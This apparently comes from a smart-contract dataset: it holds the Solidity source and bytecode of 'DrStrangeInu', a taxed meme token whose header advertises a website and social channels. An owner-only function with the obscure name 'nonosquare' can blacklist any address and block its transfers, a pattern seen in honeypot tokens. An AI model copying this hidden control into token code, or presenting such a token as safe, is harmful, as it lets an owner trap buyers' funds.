} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600881526020017f506c7572636f696e00000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600481565b6004600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f504c55520000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220bb6df8cee46b00f9361f5f71c98765d636e059b0ca75cc558bb1b2c373c1f74364736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,905 |
0xe584fb3fd4a403284aaccab40cd68783b6837e8f | /**
Dr.StrangeInu
7% Taxes On Buys And Sells
(3% Marketing, 3% Buybacks and 1% Rewards)
Website: www.drstginu.com
Telegram: https://t.me/drstrangeportal
Twitter: https://twitter.com/Strange_Inu
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DrStrangeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "DrStrangeInu";
string private constant _symbol = "DrStrangeInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xfA4E50F9F2ef687A799603dc070F4Ee2C65A19Da);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e36565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061293d565b6104b4565b60405161018e9190612e1b565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fd8565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061297d565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128ea565b61060d565b60405161021f9190612e1b565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612850565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b604051610273919061304d565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129c6565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a20565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612850565b6109dd565b6040516103199190612fd8565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612d4d565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612e36565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061293d565b610c9e565b6040516103da9190612e1b565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a20565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c91906128aa565b6113cb565b60405161046e9190612fd8565b60405180910390f35b60606040518060400160405280600c81526020017f4472537472616e6765496e750000000000000000000000000000000000000000815250905090565b60006104c86104c1611452565b848461145a565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f18565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c613395565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610601906132ee565b91505061057b565b5050565b600061061a848484611625565b6106db84610626611452565b6106d68560405180606001604052806028815260200161375460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611452565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb89092919063ffffffff16565b61145a565b600190509392505050565b6106ee611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612f18565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612f18565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612f18565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611452565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611de1565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4d565b9050919050565b610a36611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612f18565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612f18565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4472537472616e6765496e750000000000000000000000000000000000000000815250905090565b6000610cb2610cab611452565b8484611625565b6001905092915050565b610cc4611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612f18565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611452565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611ebb565b50565b610e18611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612f18565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612fb8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d6310000061145a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611003919061287d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061287d565b6040518363ffffffff1660e01b81526004016110ba929190612d68565b602060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061287d565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611195306109dd565b6000806111a0610c38565b426040518863ffffffff1660e01b81526004016111c296959493929190612dba565b6060604051808303818588803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112149190612a4d565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061127e6103e8611270600f68056bc75e2d63100000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b600f819055506112b56103e86112a7601e68056bc75e2d63100000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016